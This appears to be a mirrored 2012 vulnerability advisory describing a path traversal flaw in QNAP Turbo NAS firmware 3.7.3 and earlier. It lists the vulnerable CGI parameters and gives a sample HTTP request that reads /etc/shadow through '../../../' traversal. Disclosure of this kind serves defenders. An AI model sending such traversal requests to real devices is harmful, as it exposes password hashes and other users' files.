Lucene search
K

QNAP Turbo NAS 3.7.3 File Disclosure

🗓️ 05 Sep 2012 00:00:00Reported by Andrea FabriziType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

QNAP Turbo NAS 3.7.3 File Disclosure vulnerability on "/cgi-bin/filemanager/utilRequest.cgi

Code
`**************************************************************  
Vulnerability: Multiple Path Injection  
Product: QNAP Turbo NAS  
Vendor: QNAP  
Version affected: <= 3.7.3 build 20120801  
Status: Unpatched  
Website: http://web.qnap.com/pro_detail_feature.asp?p_id=202  
Discovered by: Andrea Fabrizi  
Email: [email protected]  
Web: http://www.andreafabrizi.it  
**************************************************************  
  
This vulnerability has been discovered on QNAP TS-1279U-RP, but probably  
other products that use the same firmware may be affected.  
  
The CGI "/cgi-bin/filemanager/utilRequest.cgi" is prone to a path  
injection, which makes it possible,  
for authenticated users, to access, delete o modify any file, included  
system files, configuration files and  
files owned by other users.  
  
Due to the single user configuration of the embedded linux system, it  
is possible to access  
any system file without restrictions (included /etc/shadow, that  
contains the hash of the administrator password).  
  
Vulnerable parameters are (the list is not exhaustive):  
/cgi-bin/filemanager/utilRequest.cgi [source_file]  
/cgi-bin/filemanager/utilRequest.cgi?func=delete [file_name]  
/cgi-bin/filemanager/utilRequest.cgi?func=copy [dest_path]  
/cgi-bin/filemanager/utilRequest.cgi?func=move [dest_path]  
/cgi-bin/filemanager/utilRequest.cgi?func=get_acl_properties [name]  
  
Sample HTTP request:  
###########################################################  
POST /cgi-bin/filemanager/utilRequest.cgi/test.txt HTTP/1.1  
Host: 192.168.0.10  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 123  
  
isfolder=0&func=download&sid=12345abc&source_total=1&source_path=/myFiles&source_file=../../../etc/shadow  
###########################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation